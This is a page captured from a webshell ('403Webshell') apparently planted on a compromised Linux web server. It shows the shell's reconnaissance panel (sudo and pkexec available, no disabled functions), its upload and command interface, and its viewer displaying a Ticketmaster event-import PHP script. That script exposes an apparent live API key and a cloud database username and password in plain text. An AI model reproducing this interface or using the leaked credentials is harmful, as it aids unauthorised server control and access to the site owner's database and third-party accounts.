403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/banners/public_html/bway/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/banners/public_html/bway/gettm.php
<?php
require_once __DIR__ . '/db/mysql_bootstrap.php';

$apiKey = 'ZlX0Yw3bKvyHjanufX6EkKuo1tc59V8x';
$metadataUrl = "https://app.ticketmaster.com/discovery-feed/v2/events?apikey={$apiKey}";
$tableName = 'bway_bwdb.ticketmaster_events';
$tempDir = __DIR__ . '/temp/';
$countriesToProcess = ['US', 'GB', 'AU', 'NZ', 'AT', 'ES', 'DE'];
$chunkSize = 100;

$writeDsn = 'mysql:host=amazonaurora.cluster-cemzxojvmybt.us-east-1.rds.amazonaws.com;dbname=amazonrds;charset=utf8mb4';
$dbUser = 'admin';
$dbPass = 'xxatN6Lb8Kbwb9MiU1At';

// Ensure temp directory exists
if (!is_dir($tempDir)) {
    mkdir($tempDir, 0755, true);
}

/**
 * Convert ISO 8601 date string to MySQL DATETIME format
 */
function isoToMySQLDateTime($isoString) {
    if (empty($isoString)) {
        return null;
    }
    $isoString = str_replace('Z', '', $isoString);
    $dt = new DateTime($isoString);
    return $dt->format('Y-m-d H:i:s');
}

/**
 * Decompress a GZIP file
 */
function decompressGzip($sourceFile, $outputFile) {
    try {
        $gz = gzopen($sourceFile, 'rb');
        if (!$gz) {
            echo "<p>Error: Could not open gzip file: {$sourceFile}</p>\n";
            return false;
        }
        $out = fopen($outputFile, 'wb');
        if (!$out) {
            gzclose($gz);
            echo "<p>Error: Could not open output file: {$outputFile}</p>\n";
            return false;
        }
        while (!gzeof($gz)) {
            $buffer = gzread($gz, 4096);
            fwrite($out, $buffer);
        }
        gzclose($gz);
        fclose($out);
        return true;
    } catch (Exception $e) {
        echo "<p>Error decompressing file: " . htmlspecialchars($e->getMessage()) . "</p>\n";
        return false;
    }
}

/**
 * Insert a batch of event records using ON DUPLICATE KEY UPDATE
 */
function insertBatch(PDO $db, $tableName, array $batch) {
    if (empty($batch)) return;

    try {
        $placeholders = [];
        $values = [];
        $i = 0;
        foreach ($batch as $event) {
            $eventId = $event['eventId'] ?? '';
            $eventName = $event['eventName'] ?? '';
            $eventStatus = $event['eventStatus'] ?? '';
            $eventStartDateTime = isoToMySQLDateTime($event['eventStartDateTime'] ?? '');
            $eventEndDateTime = isoToMySQLDateTime($event['eventEndDateTime'] ?? '');
            $venueName = $event['venue']['venueName'] ?? '';
            $primaryEventUrl = $event['primaryEventUrl'] ?? '';
            $minPrice = isset($event['minPrice']) && $event['minPrice'] !== '' ? $event['minPrice'] : null;
            $maxPrice = isset($event['maxPrice']) && $event['maxPrice'] !== '' ? $event['maxPrice'] : null;
            $currency = $event['currency'] ?? '';
            $primaryImage = '';
            if (!empty($event['images'][0]['image']['url'])) {
                $primaryImage = $event['images'][0]['image']['url'];
            }
            $classificationSegment = $event['classificationSegment'] ?? '';

            $placeholders[] = "(:event_id_{$i}, :event_name_{$i}, :event_status_{$i}, :event_start_{$i}, :event_end_{$i}, :venue_{$i}, :url_{$i}, :minp_{$i}, :maxp_{$i}, :currency_{$i}, :image_{$i}, :segment_{$i}, CURRENT_TIMESTAMP)";
            $values[":event_id_{$i}"] = $eventId;
            $values[":event_name_{$i}"] = $eventName;
            $values[":event_status_{$i}"] = $eventStatus;
            $values[":event_start_{$i}"] = $eventStartDateTime;
            $values[":event_end_{$i}"] = $eventEndDateTime;
            $values[":venue_{$i}"] = $venueName;
            $values[":url_{$i}"] = $primaryEventUrl;
            $values[":minp_{$i}"] = $minPrice;
            $values[":maxp_{$i}"] = $maxPrice;
            $values[":currency_{$i}"] = $currency;
            $values[":image_{$i}"] = $primaryImage;
            $values[":segment_{$i}"] = $classificationSegment;
            $i++;
        }

        $sql = "INSERT INTO {$tableName} (
                    event_id, event_name, event_status, event_start_date_time,
                    event_end_date_time, venue_name, primary_event_url, min_price,
                    max_price, currency, primary_image, classification_segment, updated_at
                ) VALUES " . implode(', ', $placeholders) . "
                ON DUPLICATE KEY UPDATE
                    event_name = VALUES(event_name),
                    event_status = VALUES(event_status),
                    event_end_date_time = VALUES(event_end_date_time),
                    min_price = VALUES(min_price),
                    max_price = VALUES(max_price),
                    currency = VALUES(currency),
                    primary_image = VALUES(primary_image),
                    classification_segment = VALUES(classification_segment),
                    updated_at = CURRENT_TIMESTAMP";

        $stmt = $db->prepare($sql);
        $stmt->execute($values);
    } catch (PDOException $e) {
        echo "<p>Error inserting batch: " . htmlspecialchars($e->getMessage()) . "</p>\n";
    }
}

/**
 * Process a large JSON file line by line, inserting in batches
 */
function processJsonFile(PDO $db, $tableName, $jsonFilePath, $chunkSize) {
    $handle = fopen($jsonFilePath, 'r');
    if (!$handle) {
        echo "<p>Error: Could not open JSON file: {$jsonFilePath}</p>\n";
        return;
    }

    $batch = [];
    $lineCount = 0;

    while (($line = fgets($handle)) !== false) {
        $line = trim($line);
        if ($line === '') continue;

        $lineCount++;
        try {
            $event = json_decode($line, true);
            if ($event === null && json_last_error() !== JSON_ERROR_NONE) {
                echo "<p>Error parsing line {$lineCount}: " . json_last_error_msg() . "</p>\n";
                continue;
            }
            $batch[] = $event;

            if (count($batch) % $chunkSize === 0) {
                insertBatch($db, $tableName, $batch);
                $batch = [];
            }
        } catch (Exception $e) {
            echo "<p>Error parsing line {$lineCount}: " . htmlspecialchars($e->getMessage()) . "</p>\n";
        }
    }

    // Insert any remaining records
    if (!empty($batch)) {
        insertBatch($db, $tableName, $batch);
    }

    fclose($handle);
}

// Main Script
try {
    $db = new PDO($writeDsn, $dbUser, $dbPass, mysqlPdoOptions([PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]));

    echo "<p>Processing countries: " . implode(', ', $countriesToProcess) . "</p>\n";

    foreach ($countriesToProcess as $countryCode) {
        $localFilePath = $tempDir . "events_{$countryCode}.json.gz";
        $decompressedFilePath = $tempDir . "events_{$countryCode}.json";

        echo "<p>Processing country: {$countryCode}</p>\n";

        // Download the gzip file
        $ch = curl_init($metadataUrl . "&countryCode={$countryCode}");
        $fp = fopen($localFilePath, 'wb');
        curl_setopt($ch, CURLOPT_FILE, $fp);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 300);
        curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        fclose($fp);

        if (file_exists($localFilePath) && filesize($localFilePath) > 0) {
            // Decompress the file
            if (decompressGzip($localFilePath, $decompressedFilePath)) {
                // Process JSON in chunks
                processJsonFile($db, $tableName, $decompressedFilePath, $chunkSize);
            }
            // Cleanup
            if (file_exists($localFilePath)) unlink($localFilePath);
            if (file_exists($decompressedFilePath)) unlink($decompressedFilePath);
        } else {
            echo "<p>Error: Download failed or empty file for {$countryCode}</p>\n";
        }
    }

    echo "<p>All countries processed successfully.</p>\n";
} catch (Exception $e) {
    echo "<p>Error: " . htmlspecialchars($e->getMessage()) . "</p>\n";
}

Youez - 2016 - github.com/yon3zu
LinuXploit